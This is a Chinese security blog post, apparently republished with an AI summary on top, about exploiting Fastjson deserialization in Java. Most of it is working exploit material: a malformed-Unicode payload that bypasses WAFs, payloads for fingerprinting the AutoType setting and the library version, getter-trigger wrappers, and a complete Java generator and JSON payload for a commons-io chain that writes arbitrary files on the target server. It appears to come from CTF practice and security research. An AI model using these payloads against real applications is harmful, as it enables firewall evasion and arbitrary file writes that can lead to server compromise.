RainSec 10月24日 00:46
Fastjson反序列化漏洞利用与绕过技巧
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入探讨了Fastjson在反序列化过程中可能存在的安全风险,并分享了多种绕过Web应用防火墙(WAF)的payload构造技巧,特别是利用Unicode编码和畸形Unicode绕过检测。文章详细分析了Fastjson不同版本在处理AutoType和特定类(如Exception、Error)时的安全加固措施,以及如何通过构造特定payload来探测和利用反序列化点。此外,还介绍了如何判断反序列化点是否存在期望类,并提供了利用`com.alibaba.fastjson.support.geo.Feature`等类进行版本判断和漏洞利用的payload。最后,文章重点讲解了如何结合`commons-io`库,通过优化payload链条,实现一次性写入任意文件内容,并讨论了该利用方式对`commons-io`版本的依赖性。

🚀 **Unicode编码与畸形Unicode绕过WAF**:文章指出,Fastjson在解析字符串时,利用Unicode编码(如`\uXXXX`)以及在Unicode字符前添加`+`号的畸形Unicode,可以有效地绕过市面上大多数WAF的检测,从而成功构造恶意payload。

🛡️ **版本探测与AutoType安全机制**:通过特定的payload,如`{"xxx":{"@type":"java.lang.Class","val":""}}`或`{"xxx":{"@type":"Random.String"}}`,可以判断Fastjson的AutoType功能是否开启。文章还详细分析了1.2.83版本中新增的安全措施,即对类名以`Exception`或`Error`结尾的类型直接返回null,防止潜在漏洞。

🎯 **期望类检测与利用**:文章介绍了多种方法来判断反序列化点是否存在期望类。当反序列化对象被强制转换为特定类型(如`Test.class`或`com.alibaba.fastjson.support.geo.Feature`)时,可以通过特定的JSON结构触发错误或成功解析来确认。这对于利用如`commons-io`等库进行文件写入等操作至关重要。

📝 **`commons-io`文件写入链优化**:通过结合`org.apache.commons.io.input.BOMInputStream`、`AutoCloseInputStream`、`TeeInputStream`、`CharSequenceInputStream`和`WriterOutputStream`等类,文章展示了一种高效的文件写入payload链。该链条能够将任意文件内容写入指定目标文件,并优化了payload的构造,实现一次性写入,解决了之前需要多次发包的问题,但需注意`commons-io`版本大于2.4。

💡 **Getter触发与引用限制**:在存在期望类的反序列化点,利用getter方法触发漏洞时,存在一些限制。文章提到了可以通过`java.util.Currency`或`com.alibaba.fastjson.JSONObject`的`toString`方法间接触发getter,但通常会导致反序列化结果报错。同时,期望类的存在会限制引用的使用,对象可能被错误地转换为字符串类型,影响特定库(如`commons-io`)的利用。

原创 米老鼠 2025-03-19 13:48 北京

FastJson炒一炒冷饭

 

终于想起来了账号密码

 

 

unicode 绕waf

  笔者在24年做一道ctf fastjson题的时候,碰巧发现了这个特性,当时题目限制字符\x \0,于是笔者尝试跟了一下fastjson解析unicode
com.alibaba.fastjson.parser.JSONLexerBase#scanString

case 'u':
    charu1=this.next();
    charu2=this.next();
    charu3=this.next();
    charu4=this.next();
    intval= Integer.parseInt(newString(newchar[]{u1, u2, u3, u4}), 16);
    this.putChar((char)val);
    continue;

  这里使用Integer.parseInt\u后的四个字符转为int类型,在parseInt方法中对字符串的第一个字符有特殊的处理,若字符串的第一个字符小于 '0',则可能是 '+' 或者 '-',关键点在于第一个字符是 '+' 时,则将索引 i 加 1,跳过该字符,同时不对转换结果造成影响.

if (len > 0) {
            charfirstChar= s.charAt(0);
            if (firstChar < '0') { // Possible leading "+" or "-"
                if (firstChar == '-') {
                    negative = true;
                    limit = Integer.MIN_VALUE;
                } elseif (firstChar != '+')
                    throw NumberFormatException.forInputString(s);

                if (len == 1// Cannot have lone "+" or "-"
                    throw NumberFormatException.forInputString(s);
                i++;
            }
            ...... 
}

这样我们就可以构造payload

{"\u+040\u+074\u+079\u+070\u+065":"java.lang.AutoCloseabl\u+065"

  这样的畸形unicode可以绕过几乎目前市面上大部分waf,另外我们可以注意到在第一个字符是 '-'时虽然也会跳过字符,但是在后续的代码中返回值是一个负数,如果我们有五个字符那么可以构造\u-ffbf(转成int 是65,字符串为A),但是fastjson限制了读取4个字符,我们没办法构造出想要的字符串。

safemode 判断

开启safemode时payload报错

{"zero":{"@type":"java.lang.String"""}}}

1.2.83 版本判断

首先需要判断是否开启AutoType,有下面两个payload

{"xxx":{"@type":"java.lang.Class","val":""}}
{"xxx":{"@type":"Random.String"}}

在开启AutoType的时候 payload1会报错
autoType is not support. java.lang.Class
payload2不报错。未开启AutoType的时候 payload1不报错,payload2报错
autoType is not support. Random.String

未开启AutoType时使用下面payload判断版本

{"xxx":{"@type":"Test.TestException"}}

  版本为1.2.83时 payload不报错,24<= version<=80 报错,源自于在1.2.83版本checkAutoType添加了下面的代码,类名结尾为Exception或Error会直接返回null,而不会抛出异常autoType is not support

if (!autoTypeSupport) {
            if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
                return null;
            }

            throw new JSONException("autoType is not support. " + typeName);
        }

判断反序列化点是否存在期望类

下面这种写法是存在期望类的

JSONObject.parseObject(payload,Test.class)

  还有一种是spring配置fastjson解析参数,在spring框架层面反序列化参数时就添加了期望类。我们可以使用下面payload来测试是否存在期望类,在请求原有参数基础上添加下面的payload

{"@type":"com.alibaba.fastjson.support.geo.Feature"}

如原始请求参数为

{"username":"admin","password":"123456"}

修改后为

{
    "@type": "com.alibaba.fastjson.support.geo.Feature",
    "username": "admin",
    "password": "123456"
}

在原始请求参数为数组可修改payload为:

[
    {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "username": "admin",
        "password": "123456"
    }
]

  若报错则反序列化点存在期望类,另外需要注意的是这个
com.alibaba.fastjson.support.geo.Feature
类在1.2.68版本才引入,同时也可以利用这个类存不存在来判断版本是否低于1.2.68
还有一个特殊的payload

{{}:{}}

结合原始请求参数构造

{
    {}: {},
    "username": "admin",
    "password": "123456"
}

若存在期望类且类型不是Map及其子类,则会报错

{
    "test": {
        {
            {}: {}
        }: ""
    },
    "username": "admin",
    "password": "123456"
}

修改为上述参数之后不报错

存在期望类的反序列化点有以下限制:

    1. 利用getter触发漏洞的payload大多数无法成功触发
    2. 无法使用引用
    有一个在存在期望类的反序列化点触发getter的payload,某ctf上学习到的,时间比较久远具体链接忘记了
{
    "dd": {
        "@type": "java.util.Currency",
        "val": {
            "currency": {
                "w": {
                    payload
                }
            }
        }
    }
}

通过java.util.Currency的一些特性触发getter,这个payload有一个缺点是反序列化结果一定报错,在没有报错详情信息的情况下我们很难判断是不是payload部分出了问题
还有一个针对JSONObject.parse()触发getter的payload,笔者从这篇文章中学到 https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA

 {
     {
         "@type": "com.alibaba.fastjson.JSONObject",
         "aaa":{
                 payload
         }
     }: "xxx"
 }

通过将payload放在键名处从而触发toString,并且payload被封装进一个JSONObject对象,触发JSONObject对象的toString进而触发getter(大致原理,可能有误),笔者在1.2.68版本测试,存在期望类时并不能直接触发getter,可以利用期望类原有的String类型的成员变量来触发
例如存在期望类User类,有两个String类型的成员变量username、password,那么可以构造

{"username":{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
          payload
    }}: {}
    },
    "password":"",
}

  这样的优点是大多数情况下不会报错,如果报错的话我们可以判断出是payload部分出了问题。另外就是无法使用引用的问题,在存在期望类时,会把反序列化结果转为期望类对象,在使用引用的时候只能引用期望类有的成员变量,大部分情况成员变量是字符串和数字类型,而我们引用的大部分情况是一个对象,这个对象即使我们放在成员变量上,也会转为成员变量的类型,比如我们需要引用org.apache.commons.io.input.BOMInputStream对象调用getBOM方法,对象被转成了String类型调用不到getBOM方法,也就是这种情况下我们没办法使用commons-io去读取文件了。

commons-io 写二进制文件链优化

@jsjcw师傅在GeekCon 2024分享的commons-io写二进制文件的链非常精彩,但是需要多次发包,后续笔者在调试过程中发现可以结合Blackhat 2021 中链的逻辑,构造出一条新的可以写任意数量字符的链

import com.alibaba.fastjson.JSONObject;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
publicclassIoWrite {
    publicstaticvoidmain(String[] args)throws IOException {
        String payload=getPayload("/tmp/2.jpg","/tmp/1.jpg");
        System.out.println(payload);
        JSONObject.parseObject(payload);
    }

    publicstatic String getPayload(String target,String file)throws IOException {
        byte[] bytes= Files.readAllBytes(Paths.get(file));
        String hexString=bytesToHexString(bytes);
        System.out.println(bytes.length+1);
        byte[] array = newbyte[bytes.length+1];

        String payload="{\"xxx\":{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\": \"org.apache.commons.io.input.AutoCloseInputStream\",\n" +
                "    \"in\": {\n" +
                "      \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +
                "      \"input\": {\n" +
                "        \"@type\": \"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"cs\": {\n" +
//                "        \"s\": {\n" + //common io 2.2
                "          \"@type\": \"java.lang.String\"\n" +
                "          \"%1$s\",\n" +
                "          \"charset\": \"iso-8859-1\",\n" +
                "          \"bufferSize\": 1\n" +
                "        },\n" +
                "        \"branch\": {\n" +
                "          \"@type\": \"org.apache.commons.io.output.WriterOutputStream\",\n" +
                "          \"writer\": {\n" +
                "            \"@type\": \"org.apache.commons.io.output.LockableFileWriter\",\n" +
                "            \"file\": \"%2$s\",\n" +
                "            \"charset\": \"iso-8859-1\",\n" + //>=2.7
                "            \"encoding\": \"iso-8859-1\",\n" + //<=2.6
                "            \"append\": false\n" +
                "          },\n" +
//                "          \"decoder\": {\"@type\":\"com.alibaba.fastjson.util.UTF8Decoder\"},\n" +
                "          \"charset\":\"iso-8859-1\",\n" +
                "          \"charsetName\":\"iso-8859-1\",\n" +
                "          \"bufferSize\": 1024,\n" +
                "          \"writeImmediately\": true\n" +
                "        },\n" +
                "        \"closeBranch\": true\n" +
                "      }\n" +
                "    },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"iso-8859-1\",\n" +
                "                  \"bytes\":%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.xxx.bOM\"}\n" +
                "}}";

        return String.format(payload,hexString,target,Arrays.toString(array));

    }
    publicstatic String bytesToHexString(byte[] bytes) {
        StringBuilderhexString=newStringBuilder();
        for (byte b : bytes) {
            hexString.append("\\x").append(String.format("%02x", b));
        }
        return hexString.toString();
    }
}

如果反序列化点存在期望类也可以改成下面这样,虽然报错但是不影响文件的写入

{
  "dd":{
  "@type":"java.util.Currency",
  "val":{
  "currency":{
  "w":{
    "@type":"java.lang.AutoCloseable",
    "@type":"org.apache.commons.io.input.BOMInputStream",
    "delegate":{
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "cs": {
            "@type": "java.lang.String"
            "\xff",
            "charset": "iso-8859-1",
            "bufferSize": 1
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "/tmp/1.jpg",
              "encoding": "iso-8859-1",
              "charset": "iso-8859-1",
              "append": false
            },
            "charset":"iso-8859-1",
            "charsetName":"iso-8859-1",
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
    "include":true,
    "boms":[{
                    "@type": "org.apache.commons.io.ByteOrderMark",
                    "charsetName": "iso-8859-1",
                    "bytes":[0, 0,0]
                  }]
  }
  }
  }
  }
  }

另外一点需要注意的是 写二进制文件版本commons-io版本需要>2.4,这是因为fastjson在选取构造方法时存在随机性,通过笔者尝试
org.apache.commons.io.output.WriterOutputStream
构造方法顺序与commons-io版本有很大关系,似乎在2.4及之前的版本中带有CharsetDecoder类型参数的方法始终是第一个获取到的

public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)

这就导致我们要写二进制文件的话需要构造出iso-8859-1 的CharsetDecoder,笔者经过尝试未能构造出

最后

1、以上均为笔者通过学习各位师傅的经验并进一步研究的结果,如有错误还请指正。
2、因笔者精力有限,以上payload测试大部分是在1.2.68版本,其他版本可能会有不同结果,如有不同的结果还请指正。

参考

[1]GeekCon 2024 SpringBoot之殇(https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf)
[2] Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用(https://paper.seebug.org/1698/#3commons-io)
[3] 原创 | 网鼎杯ezjava利用分析(https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA)


 

 



 

阅读原文

跳转微信打开

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Fastjson 反序列化 漏洞利用 WAF绕过 Unicode AutoType commons-io 文件写入 安全研究 Deserialization Vulnerability Exploitation WAF Bypass File Write Security Research
相关文章